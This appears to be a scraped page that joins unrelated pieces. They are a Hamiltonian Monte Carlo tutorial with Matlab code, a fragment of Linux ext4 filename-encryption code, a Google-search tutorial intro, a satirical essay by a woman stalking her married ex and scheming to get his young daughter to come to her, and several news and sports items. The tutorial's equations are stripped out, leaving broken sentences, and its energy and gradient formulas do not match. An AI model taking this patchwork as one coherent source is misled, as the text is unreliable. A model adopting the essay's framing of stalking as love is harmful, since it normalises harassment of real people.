if the object’s mass is equal to one, like the ball this example. Notice that we now have in hand the expressions for both and. In order to simulate the Hamiltonian dynamics of the system using the Leap Frog method, we also need expressions for the partial derivatives of each variable (in this 1D example there are only one for each variable):
Therefore one iteration the Leap Frog algorithm for simulating Hamiltonian dynamics in this system is:
1.
2. 3.
We simulate the dynamics of the spring-mass system described using the Leap Frog method in Matlab below (if the graph is not animated, try clicking on it to open up the linked.gif). The left bar in the bottom left subpanel of the simulation output demonstrates the trade-off between potential and kinetic energy described by Hamiltonian dynamics. The cyan portion of the bar is the proportion of the Hamiltonian contributed by the potential energy, and the yellow portion represents is the contribution of the kinetic energy. The right bar (in all yellow), is the total value of the Hamiltonian. Here we see that the ball oscillates about the equilibrium position of the spring with a constant period/frequency. As the ball passes the equilibrium position, it has a minimum potential energy and maximum kinetic energy. At the extremes of the ball’s trajectory, the potential energy is at a maximum, while the kinetic energy is minimized. The procession of momentum and position map out positions in what is referred to as phase space, which is displayed in the bottom right subpanel of the output. The harmonic oscillator maps out an ellipse in phase space. The size of the ellipse depends on the energy of the system defined by initial conditions.
You may also notice that the value of the Hamiltonian is not a exactly constant in the simulation, but oscillates slightly. This is an artifact known as energy drift due to approximations used to the discretize time.
% EXAMPLE 1: SIMULATING HAMILTONIAN DYNAMICS % OF HARMONIC OSCILLATOR % STEP SIZE delta = 0.1; % # LEAP FROG L = 70; % DEFINE KINETIC ENERGY FUNCTION K = inline('p^2/2','p'); % DEFINE POTENTIAL ENERGY FUNCTION FOR SPRING (K =1) U = inline('1/2*x^2','x'); % DEFINE GRADIENT OF POTENTIAL ENERGY dU = inline('x','x'); % INITIAL CONDITIONS x0 = -4; % POSTIION p0 = 1; % MOMENTUM figure %% SIMULATE HAMILTONIAN DYNAMICS WITH LEAPFROG METHOD % FIRST HALF STEP FOR MOMENTUM pStep = p0 - delta/2*dU(x0)'; % FIRST FULL STEP FOR POSITION/SAMPLE xStep = x0 + delta*pStep; % FULL STEPS for jL = 1:L-1 % UPDATE MOMENTUM pStep = pStep - delta*dU(xStep); % UPDATE POSITION xStep = xStep + delta*pStep; % UPDATE DISPLAYS subplot(211), cla hold on; xx = linspace(-6,xStep,1000); plot(xx,sin(6*linspace(0,2*pi,1000)),'k-'); plot(xStep+.5,0,'bo','Linewidth',20) xlim([-6 6]);ylim([-1 1]) hold off; title('Harmonic Oscillator') subplot(223), cla b = bar([U(xStep),K(pStep);0,U(xStep)+K(pStep)],'stacked'); set(gca,'xTickLabel',{'U+K','H'}) ylim([0 10]); title('Energy') subplot(224); plot(xStep,pStep,'ko','Linewidth',20); xlim([-6 6]); ylim([-6 6]); axis square xlabel('x'); ylabel('p'); title('Phase Space') pause(.1) end % (LAST HALF STEP FOR MOMENTUM) pStep = pStep - delta/2*dU(xStep);
Hamiltonian dynamics and the target distribution
Now that we have a better understanding of what Hamiltonian dynamics are and how they can be simulated, let’s now discuss how we can use Hamiltonian dynamics for MCMC. The main idea behind Hamiltonian/Hibrid Monte Carlo is to develop a Hamiltonian function such that the resulting Hamiltonian dynamics allow us to efficiently explore some target distribution. How can we choose such a Hamiltonian function? It turns out it is pretty simple to relate a to using a basic concept adopted from statistical mechanics known as the canonical distribution. For any energy function over a set of variables, we can define the corresponding canonical distribution as: where we simply take the exponential of the negative of the energy function. The variable is a normalizing constant called the partition function that scales the canonical distribution such that is sums to one, creating a valid probability distribution. Don’t worry about, it isn’t really important because, as you may recall from an earlier post, MCMC methods can sample from unscaled probability distributions. Now, as we saw above, the energy function for Hamiltonian dynamics is a combination of potential and kinetic energies:
Therefore the canoncial distribution for the Hamiltonian dynamics energy function is
Here we see that joint (canonical) distribution for and factorizes. This means that the two variables are independent, and the canoncial distribution is independent of the analogous distribution for the momentum. Therefore, as we’ll see shortly, we can use Hamiltonian dynamics to sample from the joint canonical distribution over and and simply ignore the momentum contributions. Note that this is an example of introducing auxiliary variables to facilitate the Markov chain path. Introducing the auxiliary variable allows us to use Hamiltonian dynamics, which are unavailable without them. Because the canonical distribution for is independent of the canonical distribution for, we can choose any distribution from which to sample the momentum variables. A common choice is to use a zero-mean Normal distribution with unit variance:
Note that this is equivalent to having a quadratic potential energy term in the Hamiltonian:
Recall that this is is the exact quadratic kinetic energy function (albeit in 1D) used in the harmonic oscillator example above. This is a convenient choice for the kinetic energy function as all partial derivatives are easy to compute. Now that we have defined a kinetic energy function, all we have to do is find a potential energy function that when negated and run through the exponential function, gives the target distribution (or an unscaled version of it). Another way of thinking of it is that we can define the potential energy function as
.
If we can calculate, then we’re in business and we can simulate Hamiltonian dynamics that can be used in an MCMC technique.
Hamiltonian Monte Carlo
In HMC we use Hamiltonian dynamics as a proposal function for a Markov Chain in order to explore the target (canonical) density defined by more efficiently than using a proposal probability distribution. Starting at an initial state, we simulate Hamiltonian dynamics for a short time using the Leap Frog method. We then use the state of the position and momentum variables at the end of the simulation as our proposed states variables and. The proposed state is accepted using an update rule analogous to the Metropolis acceptance criterion. Specifically if the probability of the proposed state after Hamiltonian dynamics
is greater than probability of the state prior to the Hamiltonian dynamics
then the proposed state is accepted, otherwise, the proposed state is accepted randomly. If the state is rejected, the next state of the Markov chain is set as the state at. For a given set of initial conditions, Hamiltonian dynamics will follow contours of constant energy in phase space (analogous to the circle traced out in phase space in the example above). Therefore we must randomly perturb the dynamics so as to explore all of. This is done by simply drawing a random momentum from the corresponding canonical distribution before running the dynamics prior to each sampling iteration. Combining these steps, sampling random momentum, followed by Hamiltonian dynamics and Metropolis acceptance criterion defines the HMC algorithm for drawing samples from a target distribution:
set generate an initial position state repeat until
set
– sample a new initial momentum variable from the momentum canonical distribution
– set
– run Leap Frog algorithm starting at for steps and stepsize to obtain proposed states and
– calculate the Metropolis acceptance probability:
– draw a random number from
if accept the proposed state position and set the next state in the Markov chain
else set
In the next example we implement HMC to sample from a multivariate target distribution that we have sampled from previously using multi-variate Metropolis-Hastings, the bivariate Normal. We also qualitatively compare the sampling dynamics of HMC to multivariate Metropolis-Hastings for the sampling the same distribution.
Example 2: Hamiltonian Monte for sampling a Bivariate Normal distribution
As a reminder, the target distribution for this exampleis a Normal form with following parameterization:
with mean
and covariance
In order to sample from (assuming that we are using a quadratic energy function), we need to determine the expressions for and
.
Recall that the target potential energy function can be defined from the canonical form as
If we take the negative log of the Normal distribution outline above, this defines the following potential energy function:
Where is the normalizing constant for a Normal distribution (and can be ignored because it will eventually cancel). The potential energy function is then simply:
with partial derivatives
Using these expressions for the potential energy and its partial derivatives, we implement HMC for sampling from the bivariate Normal in Matlab:
In the graph above we display HMC samples of the target distribution, starting from an initial position very far from the mean of the target. We can see that HMC rapidly approaches areas of high density under the target distribution. We compare these samples with samples drawn using the Metropolis-Hastings (MH) algorithm below. The MH algorithm converges much slower than HMC, and consecutive samples have much higher autocorrelation than samples drawn using HMC.
The Matlab code for the HMC sampler:
% EXAMPLE 2: HYBRID MONTE CARLO SAMPLING -- BIVARIATE NORMAL rand('seed',12345); randn('seed',12345); % STEP SIZE delta = 0.3; nSamples = 1000; L = 20; % DEFINE POTENTIAL ENERGY FUNCTION U = inline('transp(x)*inv([1,.8;.8,1])*x','x'); % DEFINE GRADIENT OF POTENTIAL ENERGY dU = inline('transp(x)*inv([1,.8;.8,1])','x'); % DEFINE KINETIC ENERGY FUNCTION K = inline('sum((transp(p)*p))/2','p'); % INITIAL STATE x = zeros(2,nSamples); x0 = [0;6]; x(:,1) = x0; t = 1; while t < nSamples t = t + 1; % SAMPLE RANDOM MOMENTUM p0 = randn(2,1); %% SIMULATE HAMILTONIAN DYNAMICS % FIRST 1/2 STEP OF MOMENTUM pStar = p0 - delta/2*dU(x(:,t-1))'; % FIRST FULL STEP FOR POSITION/SAMPLE xStar = x(:,t-1) + delta*pStar; % FULL STEPS for jL = 1:L-1 % MOMENTUM pStar = pStar - delta*dU(xStar)'; % POSITION/SAMPLE xStar = xStar + delta*pStar; end % LAST HALP STEP pStar = pStar - delta/2*dU(xStar)'; % COULD NEGATE MOMENTUM HERE TO LEAVE % THE PROPOSAL DISTRIBUTION SYMMETRIC. % HOWEVER WE THROW THIS AWAY FOR NEXT % SAMPLE, SO IT DOESN'T MATTER % EVALUATE ENERGIES AT % START AND END OF TRAJECTORY U0 = U(x(:,t-1)); UStar = U(xStar); K0 = K(p0); KStar = K(pStar); % ACCEPTANCE/REJECTION CRITERION alpha = min(1,exp((U0 + K0) - (UStar + KStar))); u = rand; if u < alpha x(:,t) = xStar; else x(:,t) = x(:,t-1); end end % DISPLAY figure scatter(x(1,:),x(2,:),'k.'); hold on; plot(x(1,1:50),x(2,1:50),'ro-','Linewidth',2); xlim([-6 6]); ylim([-6 6]); legend({'Samples','1st 50 States'},'Location','Northwest') title('Hamiltonian Monte Carlo')
Wrapping up
In this post we introduced the Hamiltonian/Hybrid Monte Carlo algorithm for more efficient MCMC sampling. The HMC algorithm is extremely powerful for sampling distributions that can be represented terms of a potential energy function and its partial derivatives. Despite the efficiency and elegance of HMC, it is an underrepresented sampling routine in the literature. This may be due to the popularity of simpler algorithms such as Gibbs sampling or Metropolis-Hastings, or perhaps due to the fact that one must select hyperparameters such as the number of Leap Frog steps and Leap Frog step size when using HMC. However, recent research has provided effective heuristics such as adapting the Leap Frog step size in order to maintain a constant Metropolis rejection rate, which facilitate the use of HMC for general applications.
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_fname_crypto_round_up ( u32 size, u32 blksize ) { return (( size + blksize - 1 ) / blksize ) * blksize ; } /** * ext4_fname_crypto_namelen_on_disk() - */ int ext4_fname_crypto_namelen_on_disk ( struct ext4_fname_crypto_ctx * ctx, u32 namelen ) { u32 ciphertext_len ; int padding = 4 << ( ctx -> flags & EXT4_POLICY_FLAGS_PAD_MASK ); if ( ctx == NULL ) return - EIO ; if (! ( ctx -> has_valid_key )) return - EACCES ; ciphertext_len = ( namelen < EXT4_CRYPTO_BLOCK_SIZE )? EXT4_CRYPTO_BLOCK_SIZE : namelen ; ciphertext_len = ext4_fname_crypto_round_up ( ciphertext_len, padding ); ciphertext_len = ( ciphertext_len > ctx -> lim )? ctx -> lim : ciphertext_len ; return ( int ) ciphertext_len ; } /** * ext4_fname_crypto_alloc_obuff() - * * Allocates an output buffer that is sufficient for the crypto operation * specified by the context and the direction. */ int ext4_fname_crypto_alloc_buffer ( struct ext4_fname_crypto_ctx * ctx, u32 ilen, struct ext4_str * crypto_str ) { unsigned int olen ; int padding = 4 << ( ctx -> flags & EXT4_POLICY_FLAGS_PAD_MASK ); if (! ctx ) return - EIO ; if ( padding < EXT4_CRYPTO_BLOCK_SIZE ) padding = EXT4_CRYPTO_BLOCK_SIZE ; olen = ext4_fname_crypto_round_up ( ilen, padding ); crypto_str -> len = olen ; if ( olen < EXT4_FNAME_CRYPTO_DIGEST_SIZE * 2 ) olen = EXT4_FNAME_CRYPTO_DIGEST_SIZE * 2 ; /* Allocated buffer can hold one more character to null-terminate the * string */ crypto_str -> name = kmalloc ( olen + 1, GFP_NOFS ); if (! ( crypto_str -> name )) return - ENOMEM ; return 0 ; } /** * ext4_fname_crypto_free_buffer() - * * Frees the buffer allocated for crypto operation. */ void ext4_fname_crypto_free_buffer ( struct ext4_str * crypto_str ) { if (! crypto_str ) return ; kfree ( crypto_str -> name ); crypto_str -> name = NULL ; } /** * ext4_fname_disk_to_usr() - converts a filename from disk space to user space */ int _ext4_fname_disk_to_usr ( struct ext4_fname_crypto_ctx * ctx, struct dx_hash_info * hinfo, const struct ext4_str * iname, struct ext4_str * oname ) { char buf [ 24 ]; int ret ; if ( ctx == NULL ) return - EIO ; if ( iname -> len < 3 ) { /*Check for. and.. */ if ( iname -> name [ 0 ] == '.' && iname -> name [ iname -> len - 1 ] == '.' ) { oname -> name [ 0 ] = '.' ; oname -> name [ iname -> len - 1 ] = '.' ; oname -> len = iname -> len ; return oname -> len ; } } if ( ctx -> has_valid_key ) return ext4_fname_decrypt ( ctx, iname, oname ); if ( iname -> len <= EXT4_FNAME_CRYPTO_DIGEST_SIZE ) { ret = digest_encode ( iname -> name, iname -> len, oname -> name ); oname -> len = ret ; return ret ; } if ( hinfo ) { memcpy ( buf, & hinfo -> hash, 4 ); memcpy ( buf + 4, & hinfo -> minor_hash, 4 ); } else memset ( buf, 0, 8 ); memcpy ( buf + 8, iname -> name + iname -> len - 16, 16 ); oname -> name [ 0 ] = '_' ; ret = digest_encode ( buf, 24, oname -> name + 1 ); oname -> len = ret + 1 ; return ret + 1 ; } int ext4_fname_disk_to_usr ( struct ext4_fname_crypto_ctx * ctx, struct dx_hash_info * hinfo, const struct ext4_dir_entry_2 * de, struct ext4_str * oname ) { struct ext4_str iname = {. name = ( unsigned char * ) de -> name,. len = de -> name_len }; return _ext4_fname_disk_to_usr ( ctx, hinfo, & iname, oname ); } /** * ext4_fname_usr_to_disk() - converts a filename from user space to disk space */ int ext4_fname_usr_to_disk ( struct ext4_fname_crypto_ctx * ctx, const struct qstr * iname, struct ext4_str * oname ) { int res ; if ( ctx == NULL ) return - EIO ; if ( iname -> len < 3 ) { /*Check for. and.. */ if ( iname -> name [ 0 ] == '.' && iname -> name [ iname -> len - 1 ] == '.' ) { oname -> name [ 0 ] = '.' ; oname -> name [ iname -> len - 1 ] = '.' ; oname -> len = iname -> len ; return oname -> len ; } } if ( ctx -> has_valid_key ) { res = ext4_fname_encrypt ( ctx, iname, oname ); return res ; } /* Without a proper key, a user is not allowed to modify the filenames * in a directory. Consequently, a user space name cannot be mapped to * a disk-space name */ return - EACCES ; } /* * Calculate the htree hash from a filename from user space */ int ext4_fname_usr_to_hash ( struct ext4_fname_crypto_ctx * ctx, const struct qstr * iname, struct dx_hash_info * hinfo ) { struct ext4_str tmp ; int ret = 0 ; char buf [ EXT4_FNAME_CRYPTO_DIGEST_SIZE + 1 ]; if (! ctx || (( iname -> name [ 0 ] == '.' ) && (( iname -> len == 1 ) || (( iname -> name [ 1 ] == '.' ) && ( iname -> len == 2 ))))) { ext4fs_dirhash ( iname -> name, iname -> len, hinfo ); return 0 ; } if (! ctx -> has_valid_key && iname -> name [ 0 ] == '_' ) { if ( iname -> len!= 33 ) return - ENOENT ; ret = digest_decode ( iname -> name + 1, iname -> len, buf ); if ( ret!= 24 ) return - ENOENT ; memcpy ( & hinfo -> hash, buf, 4 ); memcpy ( & hinfo -> minor_hash, buf + 4, 4 ); return 0 ; } if (! ctx -> has_valid_key && iname -> name [ 0 ]!= '_' ) { if ( iname -> len > 43 ) return - ENOENT ; ret = digest_decode ( iname -> name, iname -> len, buf ); ext4fs_dirhash ( buf, ret, hinfo ); return 0 ; } /* First encrypt the plaintext name */ ret = ext4_fname_crypto_alloc_buffer ( ctx, iname -> len, & tmp ); if ( ret < 0 ) return ret ; ret = ext4_fname_encrypt ( ctx, iname, & tmp ); if ( ret >= 0 ) { ext4fs_dirhash ( tmp. name, tmp. len, hinfo ); ret = 0 ; } ext4_fname_crypto_free_buffer ( & tmp ); return ret ; } int ext4_fname_match ( struct ext4_fname_crypto_ctx * ctx, struct ext4_str * cstr, int len, const char * const name, struct ext4_dir_entry_2 * de ) { int ret = - ENOENT ; int bigname = ( * name == '_' ); if ( ctx -> has_valid_key ) { if ( cstr -> name == NULL ) { struct qstr istr ; ret = ext4_fname_crypto_alloc_buffer ( ctx, len, cstr ); if ( ret < 0 ) goto errout ; istr. name = name ; istr. len = len ; ret = ext4_fname_encrypt ( ctx, & istr, cstr ); if ( ret < 0 ) goto errout ; } } else { if ( cstr -> name == NULL ) { cstr -> name = kmalloc ( 32, GFP_KERNEL ); if ( cstr -> name == NULL ) return - ENOMEM ; if (( bigname && ( len!= 33 )) || (! bigname && ( len > 43 ))) goto errout ; ret = digest_decode ( name + bigname, len - bigname, cstr -> name ); if ( ret < 0 ) { ret = - ENOENT ; goto errout ; } cstr -> len = ret ; } if ( bigname ) { if ( de -> name_len < 16 ) return 0 ; ret = memcmp ( de -> name + de -> name_len - 16, cstr -> name + 8, 16 ); return ( ret == 0 )? 1 : 0 ; } } if ( de -> name_len!= cstr -> len ) return 0 ; ret = memcmp ( de -> name, cstr -> name, cstr -> len ); return ( ret == 0 )? 1 : 0 ; errout : kfree ( cstr -> name ); cstr -> name = NULL ; return ret ; }01. Using Google Efficiently and Effectively
Everyone knows how to use Google...right? All you have to do is move up to your navigation bar, type in a query and press enter. Given that your browser is properly configured, you'll be wading through thousands of results in no time!
But what about using it efficiently? Is there a technique we can use to better match our results on the first try, instead of having to refine our search queries? Let's find out!
Getting to Google The fastest way of getting to Google is to set up your browser so that you can simply type your query in the navigation bar. Check out the instructions for Chrome and Firefox.
Google, the all-knowing search engine
We often rely on Google's all-knowing capability, and trust that it'll return the right results...and oftentimes Google is right. The other day I was looking to buy a specific pair of running shoes, but didn't know what the brand was called.
Voila! The first result was it! Google is certainly is all-knowing.
The search query worked! This time we were lucky, but there are those (rare) times when we have to refine our search - what do we do in those cases?
Searching efficiently
A huge chunk of learning how to code comes from asking Google questions that stump us. When we don't know how to do something, we paste in a few keywords and cross our fingers for something relevant to pop-up. In most cases it works, but sometimes we have to refine our search results until some relevant results show up.
Programmers need to be efficient - not just code efficiently, but work efficiently as well. To get the search results we need first time around, we need all the handy shortcuts, special characters and tricks that Google has to offer.
In this short tutorial series, we'll learn about the most efficient Google navigation. At the end of the series, we'll also show you some fun Google search queries!
Credits to /u/dumpster_dinner
I've been meaning to start this series earlier, but wasn't sure the demand for Googling efficiently was there. Thanks for /u/dumpster_dinner and the reddit community for the validation!
Please enable JavaScript to view the comments powered by Disqus.During my ex-boyfriend’s honeymoon, I sent him a dozen red roses, along with three singing telegrams, which I had delivered three days in a row. The girl paid to sing to my ex was yelled at by his new wife, who was angry at the constant intrusion of their privacy. Evidently, she was offended that her new mother-in-law kept me informed of their whereabouts.
One year later, I rang the doorbell of a handsome new father, his tired wife, and their screaming infant. When the door opened, my ex groaned, saying, “Yep, my mom doesn’t know when to cut off a friendship. Will you ever leave us alone?”
My eyes misted and my hands started shaking. I thought of his mother getting down on her knees, pleading with God for her son to wake up and choose the right woman for his family. In that moment of looking into my ex’s eyes, our souls connected and we merged like popcorn and melted butter. I thought of my own great-great grandmother, huddling with a screaming child in the hull of a ship as it tossed to and fro in a storm, determined to follow her man to America even though he’d left her. The women in my family are strong and persistent: we don’t take no for an answer.
My ex’s Mom is the same way. After my own mom died, she picked up the pieces and treated me as her own daughter. Both of us love Tom. We know what’s best for him. Neither of us can envision Tom spending his entire lifetime as another woman’s husband, so of course we ask others to befriend him in order to gather information. We keep track of where he is, what he does with his time, and we spend hours in prayer, asking for some higher power to humble him, open his eyes and bring him back to a place where he can see the love he’s lost.
Joan Bauer said it well when she wrote this, “I had taken the photograph from afar (distance being the basic glitch in our relationship), using my Nikon and zoom lens while hiding behind a fake marble pillar. I was hiding because if he knew I’d been secretly photographing him for all these months he would think I was immature, neurotic and obsessive. I’m not. I’m an artist. Artists are always misunderstood.”
I too have been misunderstood, but not because I’m an artist; rather because I’m a loving person who wants those in my life to be happy. I see their self-destructive patterns and I want to break them. I know what will make Tom happy, who is best for his family, and what he needs.
I am not alone in this. There are men all over the country who’d like to disregard their mother’s opinion when it comes to who they should marry. Fortunately, they have ex-girlfriends who know better than to leave them alone. We, as people who truly love them, will not quietly slink away. If life doesn’t treat you well, we’ll help you find a job near us and bring you home cooked meals. If you have a heart attack, we’ll call 911. If your babysitter flakes out, we’ll show up on the doorstep to watch your kids. Because you mean more to us than anything, we’ll be there for you no matter what. That’s our reality, and it’s a reality many people envy. Unless you disown your entire family, you will have phone calls, letters, and home visits from those of us who know best.
A few weeks ago, I met with Tom’s mother. We strategized for half an hour on how to get Tom’s preschool aged daughter to come when I called her. Most parents would be grateful to have others pay attention to their children. Most parents would be grateful to have someone like me to love their son and rescue him from himself. It’s the same kind of thing Jesus did in trying to save each and every soul.
Twice a month I meet with Tom’s parents and go over a “List of Love,” trying to bring him back into my life and into the good favor of his family. We pray, read the Bible, seek the will of God, and come up with new ideas. Plans are made. Everyone contributes. Seeking out and rescuing family members means being committed to an unyielding chase of those in peril, even if they don’t see that they’re in peril.
Never forget that you are loved. Never forget that if you’re an ex-boyfriend of mine, you’ll be taken care of, even if you say, “Leave me alone!” Never forget that there’s no such thing as a “Restraining Order” with me.
Try to remember that we all have loved ones (like Tom) who want their parents to stop interfering in their personal life, who’d rather not deal with singing telegrams, flowers, or visits from old girlfriends. Try to remember that for as long as you’re cared for, you will receive those visits. And gifts. And good advice. We’re not trying to tell you how to live your life, only how to be truly happy. And if you say no, we’ll still come back. Because we know your worth. We know that God wants you to be loved in a way that only we can love you. So, yes, we are unyielding: it’s how we operate.Robert Kubica said he accepts that returning to F1 will for now remain a closed topic.
The Pole's promising F1 career ended abruptly ahead of the 2011 season when he partially severed his wrist, but he is now shaping up to take on the top category at Le Mans in 2017.
Not just that, 32-year-old Kubica has reportedly been turning out "amazing performances" in an F1 simulator recently, according to the Italian newspaper Corriere della Sera.
Asked if that means a F1 comeback might be on the cards, Kubica answered: "I cannot rotate my forearm, so I have to get my strength from my shoulder.
"There isn't room in a F1 cockpit for that. I hate to say it to you and to myself, but for now I cannot (return). But I don't think about it. We'll see," he added.
(GMM)Cliff Pennington became the first position player to pitch in the postseason
If you ever thought you had seen everything baseball had to offer, that's just absolutely not true. Not to get all "Garden State" on you, but every game, no matter the moment, has something unique and remarkable to show you.
Such as Tuesday's ALCS Game 4 between the Royals and Blue Jays. With the Royals leading, 12-2, in the top of the ninth, the Blue Jays realized they had to try something different. So when they went to the bullpen, they didn't call one of the more familiar names -- they went with veteran utilityman Cliff Pennington.
Despite eight years in the league with three teams, playing four positions along the way, Pennington had never been called to the mound. And despite over 100 years of postseason play, there had never been a position player to take the mound before.
So, in a way, Pennington's first offering -- a 91-mph fastball for a called strike -- was groundbreaking. Edwin Encarnacion was certainly impressed to be a witness to history.
As he should be. After all, according to PitchFX, Pennington used a four-seam and two-seam fastball along with a changeup and curveball. And while position players can often confuse the system thanks to, well, being position players with fringey "pitches", this may not be the case for the infielder:
When Pennington came in to pitch, Russ Martin asked him what he had: "He goes, 'fastball, curveball, cutter, change-up.' I was like, what?" - Arden Zwelling (@ArdenZwelling) October 21, 2015
Though Pennington would give up two singles, letting two runs come in to score along the way, he did eventually settle down, getting Ben Zobrist to pop out on a 90-mph fastball to end the inning - but even then, Pennington didn't completely forget his infield training as he went sprinting in to try and help out with the catch.
Michael Clair writes about baseball for Cut4. He believes stirrup socks are an integral part of every formal outfit and Adam Dunn's pitching performance was baseball's greatest moment.NEW DELHI (Reuters) - Prime Minister Narendra Modi told President Vladimir Putin on Thursday that Russia will remain India’s top defence supplier, even though New Delhi’s options had improved since the end of the Cold War.
Russian President Vladimir Putin (L) and India's Prime Minister Narendra Modi arrives for a photo opportunity ahead of their meeting at Hyderabad House in New Delhi December 11, 2014. REUTERS/Adnan Abidi
Modi spoke after a one-day summit that sought to revive a relationship that peaked in the Soviet era. The two sides signed billions of dollars of deals in nuclear power, oil and defence.
In the biggest, state-owned Rosatom will build 12 nuclear reactors in India, oil major Rosneft (ROSN.MM) signed a 10-year crude supply deal with Essar Oil ESRO.NS and India agreed to assemble 400 Russian multi-role helicopters a year.
The Ka-226T twin-engined helicopter deal is important for Modi, who wants to upgrade a military that relies on outdated Soviet equipment and build India’s defence production capacity.
“Even if India’s options have increased, Russia remains our most important defence partner,” Modi, 64, told reporters after the first formal summit between the leaders since he won election in May.
Putin’s visit comes as the Kremlin grapples with a sliding oil price and an economy that has been undermined by Western sanctions over its annexation of Crimea last spring and support for an uprising in eastern Ukraine.
The tension over Ukraine intruded on the choreographed visit when it emerged that the Russian-backed leader of Crimea had travelled as part of Putin’s delegation.
“We highly appreciate the friendship, trust and mutual understanding with Indian partners,” said Putin, who chiefly touched on bilateral issues in his statement to journalists. No questions were allowed.
VISION
The two leaders presided over the signing of a “vision” document setting out a roadmap for cooperation in the sphere of nuclear power. Putin said Russia could eventually supply India with 20 nuclear reactors.
In the event, Rosatom said that it would supply 12 nuclear energy reactors for India over 20 years.
A 1,000-megawatt reactor is operating at the Russian-built Kudankulam power station in Tamil Nadu, with a second due on-stream in 2015.
Indian officials said a total of six reactors will be built at Kudankulam. A further six will follow at a site to be determined.
Other strategic deals covered oil supply, infrastructure and an increase in direct diamond sales to India by Russian state monopoly Alrosa (ALRS.MM).
Slideshow (3 Images)
On defence, the two sides will seek to move ahead with long-delayed projects to develop a joint fifth-generation fighter jet and a multi-role transport aircraft, in addition to the chopper deal.
A spokesman for India’s foreign minister said he was not officially aware of the visit by Crimean leader Sergey Aksyonov, who is subject to Western sanctions.
But Gul Kripalani, a Mumbai businessman who met the Crimean leader at a New Delhi hotel, told Reuters the talks were unofficial and Aksyonov had travelled to India as part of Putin’s delegation.Some short interviews with participants of a Red and Black Coordination meeting in Spain during 2014.
Here are some interwievs with members of some of the organisations within the Red and Black Coordination.
Nair, from USI (Italy)
What is your area of work within your organisation?
I work mainly on the international issues. In USI we don’t have an International Committee but there is at least one member in each city that works with international questions. So, I mainly look for information about what goes on in other countries, I update my comrades and suggest possible relevant actions.
I am also the union’s representative in my working place. In this regard, I bring together USI and the movements of self-management of both students and workers within education. I furthermore coordinate the consequent common actions.
What was, in your opinion, the highlight of this meeting?
I really liked the fact that we took some decisions regarding common actions. Our conversation was rather practical than theoretical.
Jesus from Solidaridad Obrera (Spain)
What is your area of work within your organisation?
I am mainly entrusted with the task of the cooperation of SO with other groups, unions, community or neighbourhood associations, etc. SO works mainly with issues in the public sector and especially within transportation and public health. I am hence trying to find other groups that are interested in the same issues and could work together. I do the same when it comes to groups, unions, etc. from other countries. Sometimes other groups contact me and ask SO’s collaboration to one of their projects and/or actions. In those cases I gather all the relevant information and transfer it to my comrades so that we can discuss the possibility of cooperation.
What was, in your opinion, the highlight of this meeting?
I have the impression that in this meeting went both well and smoothly. We worked well together and reached simple agreements for future actions.
ESE (Greece)
What is your area of work within your organisation?
We both work on the international issues. We furthermore work on actions of solidarity with dismissed workers. Recently we started a project about the development of new forms of struggle that will be both more inclusive and more effective. This is a long-term project and we are currently studying the ongoing restructuring of the working relations.
What was, in your opinion, the highlight of this meeting?
It was very interesting to listen to other comrades talking about their organisation’s international work. We believe that by exchanging information regarding our experiences we strengthen the bonds of solidarity and enable the development of common projects.
SAC (Sweden)
What is your area of work within your organisation?
I recently became a member of the International Committee hoping that I can positively contribute to the solidarity network that is being built within and by the Red and Black Coordination, as well as to the development and execution of common projects.
What was, in your opinion, the highlight of this meeting?
Since it was the first time I took part in a meeting of the Red and Black Coordination, I could mention many things that I found interesting such as receiving information about other comrades experiences and projects in hand, the changes that take place in each country and the relevant types of reaction, or even issues raised during the meeting such as language diversity and how to deal with a possible communication breakdown. But, if I had to choose one point as being this meeting’s highlight, then that would definitely be our decision regarding the development of working groups that will work together in between the meetings of the Red and Black Coordination. This, in my opinion, will strengthen the existing solidarity bonds and promote an even better collaboration and the development of more common actions.
Originally posted: October 30, 2014 at Internationell Solidaritet
Slightly edited by libcom,orgI don't know what to say. What I just experienced was inexplicable. After Android Central revealed the news that Audi's car-unlocking smartwatch (built by LG) runs webOS, I made an immediate dash to the nearby stand of TTs and asked the friendly German demo dude if I could borrow his watch for a moment. More surprising than his consent was the actual software running on this watch: it's webOS with a level of maturity and polish that betrays the fact LG has been working on the UI for quite a while. The animations are smooth and fast, and the look is tailored to fit a round watch face.
The watch has a circular app navigation menu, a slick and circular calendar app, and a quick settings menu that's also best viewed on a round screen. Audi's participation in this timepiece is limited to a branded watch face and an app that unlocks the car door via NFC. Sure, the patterned leather, machined crown, and buttons are also slight deviations from the original LG G Watch R, but this is a classic endorsement of somebody else's technology: what we are looking at isn't an Audi watch, it is the LG webOS smartwatch.
It took me a few moments to get my bearings with the unfamiliar interface, but this whirlwind encounter with the world's first webOS smartwatch leads me to want more of them. Many more. Unlike the G Watch R, whose design this is based on, the webOS watch also has cellular connectivity. It has a phone dialer (unfortunately it's not rotary) and a messaging app built in. The ability to integrate a cellular radio may be a big reason for why LG went with webOS over Android Wear on this Audi watch. One thing's for sure: a few minutes with this watch have made me happier than weeks spent in the company of its Android Wear competitors.For the past two seasons, and so far this season, the Miami Heat have been the worst rebounding team statistically in the NBA. So far this year the Heat are grabbing a league worst 36.3 rebounds per game.
But as we all know, statistics can sometimes be misleading. What appears to be one thing may actually not end up being entirely truthful in the end. Is that the case for the Miami Heat and their rebounding woes? Let's take a look at some of the things going on behind the scene.
Here's some statistics to consider:
Miami ranks 30th in rebounds per game at 36.3
Miami ranks 29th in rebounding differential at -3.8
Miami ranks 29th in both offensive and defensive rebounding
Miami ranks 30th in rebounding percentage (chances)
All this will and should lead you to believe that the Heat have a rebounding problem. And they do, I'm not trying to come up with some creative way to shake off what is clearly an issue. With Chris Bosh, Chris Andersen, Shawne Williams and Josh McRoberts expected to cover most of the rebounding responsibilities, there is bound to be lapses of productivity.
While all the numbers seem to suggest the Heat need to get bigger and stronger inside, let me offer you some alternative statistics that aren't often covered.
Miami ranks 5th in offensive rebounds allowed at 9.6 per game
Miami ranks 7th in defensive rebounds allowed at 30.4 per game
Miami ranks 4th in total rebounds allowed at 40.1 per game
Miami ranks 9th in points allowed at 97.8 per game
So how do we reconcile these two things? On one hand, it seems the Heat are terrible at grabbing rebounds...but on the other hand it seems they are great at preventing others from getting rebounds. It just looks ironic.
Shooting Percentages
I believe most of the answer can be found in shooting percentages. The Heat rank 7th in the NBA in FG% at 47%, which obviously limits their opportunities to rebound offensively. Make sense? Take it this way. The Detroit Pistons are the best offensive rebounding team in the NBA. Sounds impressive behind big boys Andre Drummond and Greg Monroe. But they are also the worst shooting team in the NBA at 40% FG. More misses = more chances to rebound.
